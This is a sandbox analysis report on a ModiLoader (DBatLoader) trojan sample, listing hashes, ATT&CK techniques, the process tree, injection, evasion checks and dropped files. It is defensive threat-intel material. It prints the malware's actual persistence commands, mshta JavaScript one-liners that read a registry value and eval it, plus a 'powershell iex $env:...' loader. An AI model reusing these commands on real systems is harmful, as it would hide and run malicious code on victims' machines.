modiloader | 0777f3ccda3d8b4ee25ed70e9896bfa0d4b239a43a5d1a0d2eb9395584018ab6

General

Target

94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
Size

311KB
MD5

94a5191b6551c5d5641a3d94195df8dd
SHA1

2d9d48efaadd6c5f6bf0b5743ac8682baf6f1765
SHA256

0777f3ccda3d8b4ee25ed70e9896bfa0d4b239a43a5d1a0d2eb9395584018ab6
SHA512

69dcd31d5e23b49045ff2094b87e0dcad192442b548d6c4957e211c20ba5a46f8c3f9150aed845d94a5483ae885c9c40d67b18c7b4b3a0f2a5808ac8df7668e6
SSDEEP

6144:FFikbe4szQalIeSPY7PhvIb0wLYjkVetdSwZj:FFZ+ZglYjkVetX

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2492 2592 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	2592	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 56 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1852-6-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-7-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-8-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-9-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-13-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-12-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-11-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-10-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-14-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/1852-15-0x00000000005E0000-0x00000000006B6000-memory.dmp	modiloader_stage2
behavioral1/memory/2772-24-0x00000000062C0000-0x0000000006396000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-26-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-27-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2772-29-0x00000000062C0000-0x0000000006396000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-34-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-30-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-39-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-32-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-31-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-45-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-47-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-33-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-36-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-61-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-51-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-50-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-52-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-58-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-57-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-69-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-48-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-46-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-68-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-43-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-60-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-59-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-44-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-42-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-41-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-40-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-38-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-37-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1268-35-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-75-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-87-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-86-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-84-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-83-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-81-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-80-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-79-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-77-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-85-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-82-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-78-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1584-76-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1268 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e795bdc5.lnk regsvr32.exe

pid	process
1268	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e795bdc5.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:BbWc6G=\"DctdLmy\";D8X=new%20ActiveXObject(\"WScript.Shell\");faXRE8NZ=\"pU5oGW2j\";KmfB2=D8X.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\pzadcohmp\\\\jhpvhyp\");qR8WX=\"gcoLLn\";eval(KmfB2);wBqyUd1=\"on1F2W0o\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:hxiSop4=\"B84v6i\";v2r1=new%20ActiveXObject(\"WScript.Shell\");RqAxa99K=\"4\";qz37Dz=v2r1.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");HX5QeO3=\"8\";eval(qz37Dz);YUpoB6g=\"0Sz0j\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d3afae00\\9a86c6c3.lnk\""	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exeregsvr32.exe

description	pid	process	target process
PID 2772 set thread context of 1268	2772	powershell.exe	regsvr32.exe
PID 1268 set thread context of 1584	1268	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.73caeeca8\ = "379d11eb"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:Vxjy25I=\"Is\";am5=new ActiveXObject(\"WScript.Shell\");pxrzAn6x=\"25LQIDkQ\";rbg6y=am5.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");jrpl0djD=\"mOEB\";eval(rbg6y);EfhT26BD=\"4OD0I4RP\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.73caeeca8	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exepowershell.exeregsvr32.exe

pid	process
1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
2772	powershell.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe
1268	regsvr32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exepowershell.exeregsvr32.exe

pid process

1948 94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
2772 powershell.exe
1268 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2772 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1948 wrote to memory of 1852	1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
PID 1948 wrote to memory of 1852	1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
PID 1948 wrote to memory of 1852	1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
PID 1948 wrote to memory of 1852	1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
PID 1948 wrote to memory of 1852	1948	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe	94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
PID 2492 wrote to memory of 2772	2492	mshta.exe	powershell.exe
PID 2492 wrote to memory of 2772	2492	mshta.exe	powershell.exe
PID 2492 wrote to memory of 2772	2492	mshta.exe	powershell.exe
PID 2492 wrote to memory of 2772	2492	mshta.exe	powershell.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 2772 wrote to memory of 1268	2772	powershell.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe
PID 1268 wrote to memory of 1584	1268	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1948

C:\Users\Admin\AppData\Local\Temp\94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\94a5191b6551c5d5641a3d94195df8dd_JaffaCakes118.exe"
2⤵
PID:1852

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:ww7dSO="yKcvjPE";xt23=new%20ActiveXObject("WScript.Shell");Yj4Qy="26";swu3k=xt23.RegRead("HKLM\\software\\Wow6432Node\\UHVIAElekp\\STYJtfe");rhHT9="Cg";eval(swu3k);EtnY6i="BdXv";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zmhi
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1268

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1584

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

2

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\d3afae00\52d5d4d8.73caeeca8
Filesize
23KB

MD5
78fba416571f3921eeba084b514077d4

SHA1
508a86545b6154179f3a0b383835452667a76b0a

SHA256
8f8f35e733230a478b66850a076ddbbae35259d1b27e8e8d964bf5cfe7df92b5

SHA512
3554c0705c31a4b772a1066a604df9d228d59cb3a2a4dde12a180c9823f7ffe9092d8be527203076527e8c09919d18e8728dade1a75f9280db79919977b7254a

Download Submit
C:\Users\Admin\AppData\Local\d3afae00\9a86c6c3.lnk
Filesize
897B

MD5
c75418ff5e721b8fb658a1c3d0a71d6b

SHA1
908cbd1e9dfb4735b869281afbf7e4ae9385ab4b

SHA256
f2f2ed0a1555d0602b7d1879d813906bc3a3022b5dd5e1bfab59daf140ec8add

SHA512
df93300141979bd25ef693b55b8562d3cb6ab5bd787648f0802de24fff52f25999763b21a4fc9b47734fc407643c1e37f286adad7696b6e6d489446c9f1aa382

Download Submit
C:\Users\Admin\AppData\Local\d3afae00\d2239679.bat
Filesize
67B

MD5
f2ae417dcfcbe11a00d1102e6b587247

SHA1
0078bd4798af0b8a717425f1a85a1ff2a70c4c37

SHA256
0dc66bcd192c0da909958e43407fb9c4eb212c0471e715e32555f9399549255b

SHA512
8fd8d7af58ce744f505ec537830104bab71f86e87f7184bb6f0b699c8eed5f68ffd97211c435771b76aae94c8a74f782b656923c0f61f7189349b744d76f7dea

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e795bdc5.lnk
Filesize
999B

MD5
707d9c88c135672ff6e1a3fc9b932aab

SHA1
db6e2bd310a7a7d529f14c51953aba81f5954112

SHA256
bc37d8c5723fd925df92c9ddc4e52e7a9ad48eb91432a3d4f293aa9c09297256

SHA512
82336d82adb1144c33dfd632fc67cbf41c36d3ffa9a7f9b324c2fe960f5655514c5f3ae7c2b4f8f69063dabebd796ab32ea60275cc620aad553ab070c0c66016

Download Submit
C:\Users\Admin\AppData\Roaming\e00a3efa\fe73a489.73caeeca8
Filesize
26KB

MD5
cda2f2737f149144ba45e50117b95431

SHA1
664a7ab0338ee3fb40afcf7f2ebce1465fce7d40

SHA256
64e828e879e56b95b6b52075cb41fc587ad654e0627274bbb63f6700de10bb9a

SHA512
192d63602d111d885ca83f05ccd3b625cb513a3611ac80cd3aa4d8bb6e6f21346e4256a0149df5df3120b23a47ef87554c4d727f501629e1e6a25e06afc0f86e

Download Submit
memory/1268-57-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-39-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-69-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-35-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-48-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-37-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-38-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-40-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-41-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-42-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-27-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-44-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-59-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-34-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-30-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-68-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-32-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-31-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-45-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-47-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-33-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-36-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-61-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-51-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-50-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-52-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-58-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-26-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-60-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-43-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1268-46-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/1584-87-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-78-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-76-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-82-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-85-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-77-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-79-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-80-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-81-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-83-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-84-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-75-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1584-86-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/1852-9-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-11-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-14-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-15-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-13-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-2-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1852-6-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1852-12-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-8-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1852-10-0x00000000005E0000-0x00000000006B6000-memory.dmp

Filesize
856KB

Download
memory/1852-7-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1948-1-0x0000000000330000-0x0000000000339000-memory.dmp

Filesize
36KB

Download
memory/1948-4-0x0000000000400000-0x0000000000456000-memory.dmp

Filesize
344KB

Download
memory/1948-5-0x0000000000330000-0x0000000000339000-memory.dmp

Filesize
36KB

Download
memory/2772-29-0x00000000062C0000-0x0000000006396000-memory.dmp

Filesize
856KB

Download
memory/2772-24-0x00000000062C0000-0x0000000006396000-memory.dmp

Filesize
856KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads